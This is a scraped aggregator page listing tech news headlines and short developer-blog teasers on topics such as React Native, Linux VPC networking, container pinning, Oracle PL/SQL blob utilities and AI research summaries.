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    Maestro Technology Sells Used SSD Drives as New
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    Valve Announces New Steam Machine, Steam Controller and Steam Frame
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    Comparing Integers and Doubles
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    Async and Finaliser Deadlocks
    Comments  ( 12 min )
    UK pauses intelligence-sharing with US on suspected drug vessels in Caribbean
    Comments  ( 17 min )
    Control LLM Spend and Access with any-LLM-gateway
    Comments  ( 4 min )
    Steam Machine
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    Steam Frame
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    How to identify a prime number without a computer
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    Launch HN: JSX Tool (YC F25) – A Browser Dev-Panel IDE for React
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    Project Euler
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    Helm v4.0.0
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    Show HN: Cancer diagnosis makes for an interesting RL environment for LLMs
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    Apple Introduced Digital ID in Apple Wallet
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    The PowerPC Has Still Got It (Llama on G4 Laptop)
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    The last-ever penny will be minted today in Philadelphia
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    Kubernetes Is Your Private Cloud
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    Waymo begins freeway rides for the public
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    Insects on the Space Menu
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    Anthropic invests $50B in US AI infrastructure
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    Shop Sans is a typeface for curved text paths
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    "One Student One Chip" Course Homepage
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    Testing out Crush, a TUI based coding agent
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    Extreme Moon: The Major Lunar Standstill of 2024-2025
    Comments  ( 8 min )
    Fungus in Chernobyl nuclear disaster zone has mutated to 'feed' on radiation
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    Learn Prolog Now
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    Denial of Fuzzing: Rust in the Windows Kernel
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    Show HN: I built a synth for my daughter
    Comments  ( 7 min )
    Fighting the New York Times' invasion of user privacy
    Comments
    Ruby Symbols
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    Mysterious holes in the Andes may have been an ancient marketplace
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    The Geometry Behind Normal Maps
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    Micro.blog launches new 'Studio' tier with video hosting
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    CoMaps emerges as an Organic Maps fork
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    New study finds users are marrying and having virtual children with AI chatbots
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    Write Cypress Tests in Natural Language with Cy.prompt()
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    A brief look at FreeBSD
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    Mojo-V: Secret Computation for RISC-V
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    Ask HN: How does one stay motivated to grind through LeetCode?
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    Pakistani newspaper mistakenly prints AI prompt with the article
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    Show HN: Tokenflood – simulate arbitrary loads on instruction-tuned LLMs
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    Security issues discovered in sudo-rs
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    I converted a rotary phone into a meeting handset
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    What happened to Transmeta, the last big dotcom IPO
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    Please donate to keep Network Time Protocol up – Goal 1k
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    Yann LeCun to depart Meta and launch AI startup focused on 'world models'
    Comments
    Simulating a Planet on the GPU: Part 1 (2022)
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    You will own nothing and be (un)happy
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    Bjarne fix your freaking language
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    Hard drives on backorder for two years as AI data centers trigger HDD shortage
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    Readonly Characters Are a Big Deal
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    Perkeep lets you permanently keep your stuff, for life
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    Show HN: Real-time 4D Julia set navigation via gamepad
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    Implementing Wordle in LibreOffice with JavaScript Macros
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    The Uselessness of "Fast" and "Slow" in Programming
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    Text rendering and effects using GPU-computed distances
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  • Open

    PokeeResearch: Effective Deep Research via Reinforcement Learning from AIFeedback and Robust Reasoning Scaffold
    Meet the New AI Research Buddy That Learns Like a Human Ever wondered if a computer could dig through the web, check facts, and write a clear answer all by itself? Scientists have built a clever AI called PokeeResearch‑7B that does just that. Its breakthrough lies in a special training method where the AI learns from its own successes and failures, guided by feedback from other smart language models. In everyday life, such a tool could turn a vague question into a reliable answer in seconds, making research faster and more trustworthy for students, journalists, and curious minds alike. Read article comprehensive review in Paperium.net: PokeeResearch: Effective Deep Research via Reinforcement Learning from AIFeedback and Robust Reasoning Scaffold 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 27 min )
    AI Content Marketing: 2025's Game-Changing Strategies
    AI Content Marketing: 2025's Game-Changing Strategies AI has moved from experimental novelty to operational necessity in content marketing. By early 2025, 73% of marketing teams use AI tools daily, according to HubSpot's State of Marketing report. But here's the uncomfortable truth: most marketers are using AI the same way, creating a homogenized content landscape that readers scroll past without a second thought. The real opportunity isn't in using AI—it's in using it differently. While your competitors generate generic blog posts with ChatGPT, sophisticated marketers are deploying AI for psychographic audience modeling, real-time content personalization at scale, and predictive engagement optimization. The gap between basic AI adoption and strategic AI implementation is widening fast. …  ( 8 min )
    Decoding the Daily Grind: AI That Understands Your Unspoken Routines
    Decoding the Daily Grind: AI That Understands Your Unspoken Routines Ever wonder how a city planner anticipates traffic jams, or a hospital optimizes patient flow? It's not just about raw numbers; it's about understanding the why behind our daily habits. What if AI could truly grasp these unspoken routines, going beyond simple prediction to reveal the underlying social fabric? That's the power of a new breed of agent-based simulation. At its core, this approach uses a novel framework to build virtual 'agents' that don't just react; they act based on learned social practices. Instead of simply programming them with rules, you equip them with the capability to observe, internalize, and replicate common routines within a simulated environment. Think of it like teaching an AI to 'walk a mile…  ( 7 min )
    [Boost]
    Stop throwing your life in the garbage. Automate. gabeb03 ・ Oct 17 #gadget #programming  ( 5 min )
    My Project: pyquest
    🎮 PyQuest: Test Your Python Skills! ✨ Features: ASCII art banner (powered by pyfiglet) Multiple‑choice questions loaded from q.json Score tracking with percentage Results saved to results.csv 📂 Setup: download the project here. Make sure you have Python 3 (or more) installed. Install pyfiglet with pip install pyfiglet. Run the game by: double‑click launch.bat on Windows.  ( 6 min )
    Image Load Races in React Native - Fix It in One Line
    When users tap quickly between images, your preview can flicker, hide the spinner at the wrong time, or even show the wrong photo. That’s a classic race condition during image loading. Here’s the core fix in one line—and why it works. You show a full-screen preview of an image in a modal (or a floating box). A user taps Image A, it starts loading. Before it finishes, they tap Image B. If Image A completes late, its onLoad/onLoadEnd can still fire and mutate state that now “belongs” to Image B—hiding the spinner too early or causing flicker. React Native’s Image kicks off a native request as soon as it renders with source={{ uri }}. If you keep the same Image instance mounted while swapping the URI, late callbacks from the previous load can still arrive and update your UI state. Force the p…  ( 7 min )
    14 Best In-App Chat Features That Shape Better User Experiences
    In-app chat keeps interactions on-platform, so users can collaborate and respond without switching to another app. Building or integrating top chat features into your app will give users even more of a reason to stay. Let's say you're building a telehealth app. Basic messaging functionality is enough for patients and doctors to discuss a condition, but it's not sufficient for sending images for accurate diagnoses or storing messages long-term for the patient to revisit. And without secure messaging, it's not compliant. But with the amount of features to choose from, how do you know which will best serve your audience? Which ones should you prioritize and which should you skip completely? In this post, we share the 14 top features for engaging in-app chat, helping you decide what to integra…  ( 14 min )
    I built something for busy parents who want to run
    I just launched a half marathon training plan designed for parents with actual jobs and kids. Not for elite runners. For regular people who want to build a habit and cross a finish line. 3 goal options: 3:00 (just finish) 2:30 (getting stronger) 2:00 (pushing yourself) 12 weeks. Built-in flexibility. Real life. Check it out Martin P.S. I also put together a page of running gear I actually use.  ( 6 min )
    The Evolution of AI Tools: What Developers Need to Know
    The Evolution of AI Tools: What Developers Need to Know The landscape of AI-powered development tools has undergone a seismic shift since GitHub Copilot's launch in 2021. By 2025, we're witnessing not just incremental improvements, but fundamental transformations in how developers write code, debug issues, and architect solutions. Let me walk you through the data that tells this story—and show you why the right SDK matters more than ever. GitHub Copilot's evolution represents a masterclass in AI advancement. In 2025, it leverages OpenAI's GPT-4o—a multimodal flagship model enabling text, code, and visual reasoning. This isn't marketing speak; the capabilities are measurable. According to real-world case studies, a fintech startup reduced development time by 40% when building an MVP API …  ( 11 min )
    Pin It or Bin It Pt 3: The Agent Firewall
    Nmap Everyone’s busy making “autonomous AI agents.” what they can actually do once they get a shell. Developers built containers, then forgot to pin them. You’ve seen it: the “agent” reads a JSON manifest, loads 20 tools from the internet, and starts running commands on your infra. It’s not AI. MCP is supposed to standardize how agents talk to tools and data sources — discovery, schemas, structured calls. The issue? trusts whatever tool the agent registers. crane, it’s allowed to act like crane. It’s Docker Hub :latest, all over again — but this time your LLM is running the pull. Think of them as the firewall inside the agent runtime. An MCP client interceptor hooks every tool call before it leaves the client, and every result after it returns. [Agent/LLM] → [MCP Client] → (Before Intercep…  ( 8 min )
    Pin It or Bin It
    How to Stop Shipping Garbage Before It Ships You If your build still pulls ubuntu:latest, you’re not “cloud-native.” You’re running a randomizer in production. Every tag that isn’t a digest is a liability. :latest is not convenience; it’s negligence. What you write What happens next FROM node:latest You rebuild on Tuesday and ship a new kernel vulnerability. pip install flask You pull in a supply-chain bomb before lunch. terraform init You silently upgrade the AWS provider, then wonder why IAM exploded. If you don’t pin it, you can’t attest it. OPA (Open Policy Agent) A fast, embeddable policy engine. Conftest A CLI built on top of OPA. parses Dockerfiles, YAML, Terraform, JSON feeds them into OPA exits 1 on fail, 0 on pass That’s all you need for CI or pre-commit hooks. …  ( 8 min )
    Improving accessibility for popins: focus trap and keyboard handling
    Keyboard users often encounter issues when interacting with popins, modals, or tooltips. During an accessibility audit with a partner, we noticed that focus can easily escape the popin, leading to a confusing experience. This approach ensures keyboard users can stay within the popin and interact predictably, improving accessibility and user experience (UX) for all users. Popins generally include several interactive elements: a close button, overlay, and main content such as forms or call-to-actions (CTAs). Without proper focus management, users can tab out of the popin into the underlying page, breaking accessibility rules and making interactions unpredictable. Key rules for accessible popins: When a popin opens, we save the currently focused element and programmatically set focus to the c…  ( 8 min )
    New Features for Better State Control in WebForms Core 2
    As you know, version 2 of WebForms Core technology will be released by Elanat soon. In the past days, we have given an extensive description of the revolutionary features and capabilities of version 2, and in the next few days we will reveal other new features. WebForms Core is a server-based technology, yet it offers revolutionary offline capabilities. Think of this workflow: The server defines the interaction patterns The client caches the JavaScript commands and calls The user interacts with the application completely offline The JavaScript runs locally without contacting the server Synchronization occurs when the connection is resumed This solves the problem of PWA complexity that plagues traditional SPA development. Version 2 of WebForms Core introduces a Checksum mechanism and SHA256…  ( 10 min )
    Rick Beato: This AI Song Just Went Number 1...FOR REAL
    This AI Song Just Went Number 1...FOR REAL It finally happened: an AI-generated track has climbed all the way to the top of the Billboard charts, marking an unprecedented moment in music history. This breakthrough raises big questions about creativity, originality, and where artificial intelligence fits into the artistry we’ve always valued. Behind the scenes, the My Beato Club community—dozens of supporters from Justin Scott to Toby Guidry—have been rallying around this innovation, underscoring how passionate listeners and creators are about the future of music technology. Watch on YouTube  ( 6 min )
    Tutorial: Building a Podcast Knowledge Base with the Gemini File Search Tool
    Recently we launched a new File Search Tool, a fully managed RAG system built directly into the Gemini API that abstracts away the retrieval pipeline so you can focus on building. For all of the details, check out the blog post, or read on for a tutorial from Mark McDonald. Imagine effortlessly recalling specific details from your favorite podcasts or getting a quick recap when returning to a long series' storyline. An AI conversation, equipped with the full context of your podcasts, makes these easy. In this tutorial, we'll build a tool for this exact case. We'll create a Python app that ingests a podcast RSS feed, transcribes the episodes, and indexes them using the File Search Tool. This allows us to ask natural language questions and get answers based on the actual content of the podca…  ( 9 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 5 - 'Lady Bird’
    Sean and Amanda dive into Greta Gerwig’s Lady Bird, ranking it No. 5 on their list of the 25 Best Movies of the 21st Century. They praise it as the ultimate millennial coming-of-age film, exploring its honest, complicated mother-daughter dynamics and why it stands out over Gerwig’s other hits like Little Women and Frances Ha. Along the way, they break down what makes Lady Bird so uniquely defining—its perfect blend of humor, heart, and generational truth—and why it earned its spot as their official Gerwig pick. Toss in some State Farm sponsorship love, and you’ve got another Ringer podcast episode worth your time. Watch on YouTube  ( 6 min )
    2025
    Part 1 Belated update. Yes, it’s been five years, can’t believe it myself. What’s the “delta” for the last three years that flew by too fast? At the same time, obviously, everything has changed — some things even multiple times. We went through COVID with its obligatory work-from-home setup, only for many companies to start imposing, some more gradually than others, return-to-office policies. I interviewed a number of candidates recently who moved away from major tech hubs during COVID and had to leave their jobs because of the RTO push. We are still fully remote. Most of the Big Tech companies went through rounds of mass layoffs — a tectonic shift from the previous 20 or so years of competing for talent and outbidding each other in offers. Startups suddenly became much more attractive f…  ( 9 min )
    Tines - SOAR Tool
    In recent times, I have been working in Tines as we have shifted to this platform for our SOAR needs. Tines SOAR is a Security Orchestration, Automation, and Response platform that uses a no-code/low-code interface to help security teams automate and manage security workflows, making them faster and more efficient. It integrates with various security tools through an API-centric approach, allowing it to automate tasks like responding to alerts, triaging incidents, and enriching threat intelligence data I have been enjoying using this tool a great deal as it allows a lot of flexibility and comes with a large number of built-in integrations. Tines also has great performance as I have noted that the platform can run actions in parallel which reduces run time as compared to some other SOAR products. Using Tines, I have been able to automate 50 hours (and counting) of security work so that security engineers can spend time on more value added projects. As part of my learning on this platform I have completed both the Tines Core Certification as well as the Tines Advanced Certification. These certifications contain a number of pre-labs which contain a lot of good hands-on material and tips and creates to create robust/efficient stories. I am looking forward to further my knowledge/skills on the platform in order to increase efficiencies via automation!  ( 6 min )
    GoREST is dead...
    This Is the End Recently, I shared a project skeleton and a post that allows you to easily turn almost any relational database schema into a REST API. It took me about a month to develop the first release, just a few hours at night when the kids were asleep and during weekends, since I’m currently working full-time. The feedback was mixed. Some people liked it, others simply hated it. At some point on Reddit, people even downvoted the project without explaining why. Fortunately, some benevolent users also took the time to tell me what they liked or didn’t about the project. My initial goal was to solve a problem I had: reusing an existing, functional relational data model and its data from a monolithic application, and turning it into a headless architecture, where the backend is a REST…  ( 7 min )
    Developer onboarding is broken in most companies.
    The average new engineer spends 2–3 weeks just figuring out where things are. Not building. Not shipping. Just… searching. Here’s what actually happens: The real cost? Each new hire wastes 40–60 hours of senior developer time just asking questions. How to fix it: Centralize your knowledge in one place Centralize your knowledge in one place Make your codebase searchable with AI Auto-document meeting decisions Link tasks to code changes for context We built Syncally to solve this exact problem. It connects your GitHub, meetings, and tasks so new devs can ask “why was this built this way?” and get instant answers. No more 3-hour context-hunting sessions. No more bothering your senior devs. If onboarding takes more than 3 days, your knowledge management is broken.  ( 6 min )
    full text
    CREATE OR REPLACE PROCEDURE get_blob_full_text( FOR rec IN ( SELECT blob_to_text_range(t.VERSIONS, c.start_byte, c.end_byte) as chunk_content FROM CacheIOIStates t CROSS JOIN ( SELECT level as chunk_num, (level * 4000 - 3999) as start_byte, (level * 4000) as end_byte FROM dual CONNECT BY level <= CEIL( (SELECT blob_length(VERSIONS) FROM CacheIOIStates WHERE IOIID = p_key1) / 4000 ) ) c WHERE t.IOIID = p_key1 ORDER BY c.chunk_num ) LOOP IF rec.chunk_content IS NOT NULL THEN DBMS_OUTPUT.PUT_LINE(rec.chunk_content); END IF; END LOOP; EXCEPTION WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('Error: ' || SQLERRM); END get_blob_full_text; /  ( 6 min )
    Receiving Webhooks in RestlessIDE
    So I was speaking with the Backend Standup guys the other day (as one does) and one of them explained a problem they were having. They were attempting to do a  Stripe integration but were running into problems with the webhook portion. For those who need a reminder, a webhook is basically a callback from an online service into your application. For example, with Stripe (a payment processing service) you can set up subscriptions with your customers, where they sign up and pay you a certain amount each month. To handle this, Stripe generates an invoice automatically, and then charges them for it, again automatically. In order to give your application some visibility into this process, you can configure Stripe to hit a specified endpoint on your application with payment updates. This also app…  ( 7 min )
    [Boost]
    Tailwind CSS Won the War... But We're the Losers Elvis Sautet ・ Nov 7 #tailwindcss #webdev #css #productivity  ( 5 min )
    Building an ICO on Canton Network
    A hands-on guide to creating privacy-preserving token sales on Canton Network Ever wanted to build a token sale where only the buyer, seller, and maybe a regulator can see the details? That's exactly what we're going to create today. We'll build a complete ICO (Initial Coin Offering) smart contract that sells one token for another, with privacy built-in and atomic operations that can't fail halfway through. ICO's are back! From Monad to MegaETH or projects launching their token on Tally.xyz, capital formation as product market fit for crypto is the meta. Before we dive into code, let's make sure we're on the same page. An ICO (Initial Coin Offering) is when a project sells their tokens to raise funds. Traditionally this happens on public blockchains where everyone can see: Who bought what …  ( 12 min )
    AI's Achilles Heel: Can We *Prove* Plans Before They Execute?
    AI's Achilles Heel: Can We Prove Plans Before They Execute? Imagine deploying an AI-powered system only to find its carefully crafted plan leads to a catastrophic failure. What if your self-driving car suddenly decided the best route involved driving through a lake? The current AI planning paradigm often lacks a critical step: rigorous verification. It's time to move beyond black-box AI and embrace provably correct planning. The core idea is to develop a system that allows us to formally prove that an AI's plan will achieve its intended goal, while respecting resource constraints. Think of it like a building inspector checking the blueprints before construction begins, not after the building collapses. By associating plans with logical proofs, we can mathematically guarantee their correc…  ( 7 min )
    Predicting the Unpredictable: Reproducible BiLSTM Forecasting of Incident Countsin the Global Terrorism Database (GTD)
    Can AI Predict the Next Terror Attack? What if we could look a few weeks ahead and see where the next wave of terror incidents might rise, just like checking tomorrow’s weather? Researchers have built a smart computer model that learns from decades of global terror data and now gives surprisingly accurate short‑term forecasts. It’s a breakthrough that shows how AI can turn massive historical records into practical, life‑saving insights. Every extra week of warning matters—and that’s a future worth working for. Read article comprehensive review in Paperium.net: Predicting the Unpredictable: Reproducible BiLSTM Forecasting of Incident Countsin the Global Terrorism Database (GTD) 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 26 min )
    Day 1: Building SpeakSheet – An AI-Powered Excel Generator (NextJS + Gemini + Python)
    I'm building my first SaaS product in public. It's called SpeakSheet, and it generates Excel spreadsheets from natural language prompts. This is my Day 1 devlog. 🧠 The Idea Most people create the same spreadsheets repeatedly. Budget trackers. Sales logs. Task lists. Client rosters. What if you could just describe what you need and get a fully structured .xlsx file in seconds? That's SpeakSheet. 💡 How It Works User types a prompt (e.g., "Track gym members with name, age, membership type, join date") ✅ What I Built Today Basic MVP UI (used ChatGPT to speed up scaffolding) 💬 Feedback Welcome I'm building this 100% in public. Follow along: Twitter: [@NotVarunKV] Drop a comment if you have ideas, questions, or just want to roast my code 😅  ( 6 min )
    Next.js vs React: Which One Should You Choose in 2025?
    If you’ve been building web apps for a while, you’ve probably heard the React vs. Next.js debate more times than you can count. Both are powerful, both come from Meta’s ecosystem, and both dominate the frontend world but which one should you choose in 2025? As a full-stack developer who’s built production apps using both React and Next.js, here’s my honest breakdown. React is a frontend JavaScript library used for building user interfaces. Pros: Flexible and customizable architecture Huge community and library support Easier to learn for beginners Perfect for client-side rendered apps Cons: SEO can be tricky for SPAs Manual setup for routing and optimization Requires additional libraries for full-stack behavior (e.g., React Router, Axios, etc.) What is Next.js? Next.js is a React-based framework created by Vercel that adds server-side rendering (SSR), static site generation (SSG), and API routes — turning React into a full-stack framework. Pros: Built-in routing and API handling Excellent SEO (SSR and SSG) Image optimization and performance improvements Easy deployment on Vercel or AWS Amplify Supports hybrid rendering (mix of SSR, SSG, ISR) Cons: Slightly higher learning curve Limited flexibility compared to vanilla React Build times can be longer for large projects You’re building a small-to-medium SPA If I’m building a quick MVP or mobile app frontend — I’ll still use React. In 2025, React remains the best choice for flexibility, while Next.js dominates in speed, SEO, and developer experience. If you’re starting a new project, go with Next.js — it gives you everything React does, and more, with less setup.  ( 7 min )
    Ma première extension Chrome... Synonymes Maison
    Je ne suis pas développeur de métier. J’ai simplement eu envie d’apprendre quelque chose de nouveau, pour le fun, et de créer un outil concret. L’idée était simple : une extension qui repère automatiquement les synonymes du mot maison sur n’importe quelle page web, les surligne, puis affiche un compteur. Rien d’ambitieux au départ, juste un petit projet pour progresser et voir si j’étais capable de le mettre en ligne. Résultat : Synonymes Maison, une extension Chrome légère, sans publicité et sans collecte de données. Je voulais suivre l’usage de certains mots liés à maison, que je croise souvent en rédaction ou dans mes recherches. J’avais besoin d’un outil qui scanne les pages automatiquement, repère les synonymes, les met en évidence, et garde un total cumulé. Comme ça n’existait p…  ( 7 min )
    New major HMPL version 3.2.0 🕶
    Today's vibe is to talk about the new version of the template language. We've been working on this project for a year and a half now, and, man, this is definitely the level of seriousness we're looking for. You might think that after all this time, things could be done much better. That's true, but the fact is, what we have is really, really cool. Let's take a look at the new version and see what we've prepared :) Articles usually fill you with unnecessary fluff, whether on topic or not. I like to do that too, of course, but let's get straight to the most important thing. Text Text Yes, now instead of indica…  ( 9 min )
    The Architecture of Traffic Arbitrage: A Professional's Blueprint
    Of all the gilded promises the internet offers, few are as shrouded in mystique as “traffic arbitrage.” You’ve seen the lifestyle it supposedly funds: laptops open on pristine beaches, dashboard shots of luxury cars, and screenshots of dizzying daily profits. It feels like a private club, and the rules of entry are written in a language you don’t yet speak. But what if I told you the core principle is something you already understand intuitively? What if the complex jargon—CPA, RevShare, ROI, verticals—is just a professional shorthand for a simple, universal business model? The secret to traffic arbitrage isn't about finding a magic button. It’s about understanding its architecture. It's about seeing the system, not just the components. And once you see it, you can’t unsee it. You’ll start…  ( 11 min )
    Building Your Own VPC on Linux: A DevOps Love Story 💘🐧
    Or: How I Learned to Stop Worrying and Love Network Namespaces Warning: No AWS bills were harmed in the making of this project! 💸 Hey! I'm Sherifdeen Adebayo, and buckle up because I'm about to tell you how I accidentally became best friends with Linux networking (didn't see THAT coming in 2025! 😅). So there I was, staring at the HNG13 Stage 4 DevOps challenge like it was jollof rice without chicken 😭. The task? Build a complete Virtual Private Cloud system on Linux. My networking knowledge at the time? "IP address goes brrr" 🤷‍♂️ Spoiler alert: It's not magic. It's just clever use of Linux tools that have been chilling since before TikTok was a thing! (Yes, I'm old enough to remember when we had to ping people to know if they were online 👴) I created vpcctl - basically AWS VPC's youn…  ( 16 min )
    Announcing the XTool Christmas Contest Winners: A Masterclass in Community & Digital Engagement
    Announcing the XTool Christmas Contest Winners: A Masterclass in Community & Digital Engagement The air has been thick with anticipation, and the creative community has been buzzing! We are thrilled to finally announce the exhilarating results of the xTool Christmas Contest. This festive challenge invited creators from all walks of life to unleash their imagination, utilizing xTool's innovative laser cutters and engravers to craft truly remarkable projects. The contest was a resounding success, showcasing an incredible array of talent across two distinct categories: the 'How to Make' group and the 'Inspirational' group. Each submission was a testament to the boundless possibilities that creative tools, combined with a spark of genius, can bring to life. From intricate designs to heartwarmi…  ( 9 min )
    Existe imutabilidade no JS/TS? Como funciona?
    E aí, galera! Resumindo e dando a resposta, que é um pouco contraintuitiva para quem vem de outras linguagens, não, não existe imutabilidade garantida no tempo de execução do JavaScript ou TypeScript. Mas o TypeScript nos oferece alguns caminhos para forçar essa prática e te avisar dos erros antes que teu código rode. TL;DR: Vou te mostrar o motivo por trás disso e como usar o TypeScript para escrever um código muito mais seguro e fácil de entender. A raiz do problema: JavaScript é mutável por natureza O JavaScript foi construído com a ideia de mutabilidade para a maioria dos seus tipos de referência, como por exemplo, objetos e arrays. Quando usamos const, a única coisa que garantimos é que a variável não será reatribuída. O conteúdo do objeto ou array que ela aponta na memória pode ser …  ( 7 min )
    Use AI to Speed Up Security Hardening (and Read This First)
    AI is amazing for boilerplate and speed, but my test proved it's a dangerous "naive junior" when handling secrets and testing cleanup. I detail exactly where the tool fell short and why you must keep an eagle-eyed human-in-the-loop to prevent code disasters. What's been your experience? Security by Design Pt 2: AI for Threat Modeling and Remediation  ( 6 min )
    Masonry Grid Goes CSS-Only: An Experimental Approach
    I recently published an article about Masonry Grid, and here I am again with another post. What happened? Well, something interesting popped up in the Reddit comments. After sharing the initial release, Zardoz84 in the comments linked to a clever CSS-only masonry example. The example used a neat trick with grid-row: span X to create a masonry effect without any JavaScript. The original example was hand-tuned for specific content, but the technique itself caught my attention. Could this approach work with dynamic content? The core idea is simple: .grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); } .item { aspect-ratio: var(--width) / var(--height); grid-row: span calc(var(--height) / var(--width) * var(--precision)); } The trick is elegant: each …  ( 7 min )
    Building a Production-Ready VPC Implementation on Linux. HNG Internship Task 4: Complete VPC Control System with Networking
    Project Overview This project implements a complete Virtual Private Cloud (VPC) management system using Linux networking primitives. Built as part of the HNG Internship program, it demonstrates advanced networking concepts including network namespaces, bridges, NAT, routing, and security policies. Features Implemented VPC Management: Create and manage multiple isolated VPCs with custom CIDR ranges Subnet Types: Public subnets with NAT gateway and private subnets with no internet access VPC Isolation: Complete network isolation between VPCs by default VPC Peering: Controlled communication between VPCs with proper routing Security Policies: JSON-based security group rules using iptables Application Deployment: Deploy and test applications within subnets Comprehensive Logging: All operations …  ( 9 min )
    Modern C++: Variadic Templates
    This follows my series to cover lesser known features of Modern C++ Today, we have variadic templates, which is an improvement over variadic arguments (...), a type of argument that can take variable arguments. Before we start with variadic templates, an introduction to variadic arguments is required. Variadic arguments have been around since the time of C and old C++ but it has a lot of limitations, which can be seen in the code demonstration below: #include #include void printNumbers(int count, ...) { va_list args; // Hold and make argument list with capacity "count" va_start(args, count); // Start processing variable args for (int i = 0; i < count; ++i) { int num = va_arg(args, int); // Get next argument std::cout << num << " "; } …  ( 8 min )
    How I Use Cursor As My Daily Coding Partner
    My Favorite Cursor Features In the last few years, I’ve tried many coding AI tools like Copilot, but none of them have worked for as long as Cursor. For the first time, I’ve been feeling that AI is truly helping me build things faster and reduce the steps between ideas and code. So, to celebrate that, I decided to share some of my favorite Cursor features! Plan Mode Plan Mode was introduced recently in Cursor. The first time I saw this kind of implementation was with Kiro, and I’m pretty sure this will become the default way we use AI to build things in the next few years (or months — who knows). With this feature, AI doesn’t just implement something that could possibly work based on your prompt, it analyzes your codebase to understand how you do things, asks clarifying questions about…  ( 8 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    4 ChatGPT Hacks that Cut My Workload in Half Tired of endlessly tweaking prompts? Discover how to reverse-engineer your best prompts, amplify one piece of content into multiple formats with the 5-Minute Amplifier, let ChatGPT critique its own work via the Red Team Technique, and force it to outline its reasoning up front using Blueprint Scaffolding. Each method comes with real-world examples you can apply today—whether you’re in marketing, design, project management, or any other industry. Say goodbye to wasted hours and hello to a turbocharged AI workflow! Watch on YouTube  ( 6 min )
    🛠️ The Rise of the Artisan Coder — a New Breed of Developer
    💡 Term introduced by CTO Vitaliy Edifanov (MediaRise Studio) In the modern tech world, a new type of developer is emerging — one that blends the precision of engineering, the creativity of design, and the instinct of entrepreneurship. Meet the Artisan Coder — a digital craftsman who builds products from scratch, combines human creativity with AI automation, and treats software development as both a profession and an art. An Artisan Coder is more than a full-stack developer. They are a creator, engineer, and founder all at once — capable of building and launching complete products independently. They embrace a mindset where programming, design, automation, and business strategy come together in one person. An Artisan Coder combines: Engineering mastery — fluent in modern languages, fram…  ( 7 min )
    Database Indexing Explained Like You're 5 (Then Like You're a Senior Dev)
    Hey there! So you want to understand database indexing? Cool. Let me break this down in a way that actually makes sense, starting from the absolute basics and working our way up to the stuff that'll make you look like a genius in your next code review. Imagine you have a massive book with 10,000 pages about different animals. No table of contents, no organization, just random animals on random pages. Now, your teacher asks: "Find me information about elephants." What do you do? You flip through every single page until you find elephants. Page 1, nope. Page 2, nope. Page 3, nope... this is going to take forever, right? That's your database without indexes. Now imagine the same book, but at the front, there's a special page that says: Elephants: Page 4,521 Lions: Page 892 Penguins: Page 7,23…  ( 12 min )
    Unimedvl: Unifying Medical Multimodal Understanding And Generation ThroughObservation-Knowledge-Analysis
    How One AI Model is Changing Medical Diagnosis Imagine a doctor who can look at an X‑ray, read your medical history, and instantly draw a clear picture of what’s wrong—all in one go. Scientists have created exactly that kind of digital assistant, called UniMedVL, by teaching a single AI to both understand medical images and generate helpful visuals and reports. This unified approach means every piece of information works together, turning complex medical data into clear, actionable insights. It’s a step toward smarter, more accessible healthcare for everyone. Read article comprehensive review in Paperium.net: Unimedvl: Unifying Medical Multimodal Understanding And Generation ThroughObservation-Knowledge-Analysis 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 26 min )
    Betting on Yourself: A Quick Guide for Young Tech Entrepreneurs
    Starting a company or building a product doesn’t require investors, fancy offices, or a team. All you need is your idea and the will to execute. Here’s what I’ve learned: Start Small, Think Big: Build something functional today; scale tomorrow. Learn by Doing: Every line of code teaches more than any course. Embrace Feedback: Your product is for users, not you. Launch early, iterate fast. Failure is Fuel: Bugs, flops, sleepless nights—they teach lessons you can’t get elsewhere. Build in Public: Share your journey. Accountability + community = growth. Entrepreneurship is about resilience, execution, and constant learning. What’s the one lesson you’ve learned the hard way? Share below—I’d love to hear your story. 💡  ( 6 min )
    blob16
    CREATE OR REPLACE FUNCTION blob_to_text(p_blob BLOB) RETURN VARCHAR2 IS l_blob_len := DBMS_LOB.GETLENGTH(p_blob); FOR i IN 1..LEAST(l_blob_len, 8000) LOOP l_single_byte := DBMS_LOB.SUBSTR(p_blob, 1, i); BEGIN l_single_char := UTL_RAW.CAST_TO_VARCHAR2( UTL_RAW.CONVERT(l_single_byte, 'AL32UTF8', 'AL32UTF8') ); -- Check if adding this character would exceed limit IF LENGTH(l_result) + LENGTH(l_single_char) > 32767 THEN EXIT; END IF; l_result := l_result || l_single_char; EXCEPTION WHEN OTHERS THEN -- Only add replacement if we have space IF LENGTH(l_result) < 32767 THEN l_result := l_result || '?'; ELSE EXIT; END IF; END; END LOOP; RETURN l_result; -- No truncation message to avoid overflow EXCEPTION WHEN OTHERS THEN -- Return whatever we have without concatenation RETURN SUBSTR(l_result, 1, 32767); END blob_to_text; /  ( 6 min )
    3 Years of Python, Still Lost. Help Me Pick a Field!
    **i am really lost right now! I've been coding for three years (mostly in Python), building a variety of apps/scripts, and I genuinely love programming. I have some experience in web dev, but I really don't like it, and AI/ML seems very boring to me! (but everyone thinks you should become an AI developer because the world is moving towards it!). I love building practical tools and making things work, but I don't fit into a specific job title. I need to apply for junior roles, but I don't know which field to target! Any advice on finding my path would be huge! Thanks!  ( 6 min )
    The Current State of Software: From Builders to Burnt-Out AI Evangelists
    We live in exciting times. Artificial Intelligence has made programming more accessible than ever before. What once required deep focus and late-night debugging sessions can now be generated with a few prompts and some optimism. It’s revolutionary — and somehow, also, a little depressing. Those of us who started coding because we loved building things are starting to feel tired. Not the “I need a vacation” kind of tired. The existential kind. permanent burnout. It’s not surprising. We stopped being builders and became feature delivery units. Instead of creating, we deliver. Instead of exploring, we execute. Every decision must fit neatly into a Jira ticket, wrapped in “agile” terminology that somehow manages to remove all agility from the process. We measure velocity, not value. We chase d…  ( 7 min )
    Evolving Minds: Building Adaptable AI Through Strategic Response Learning
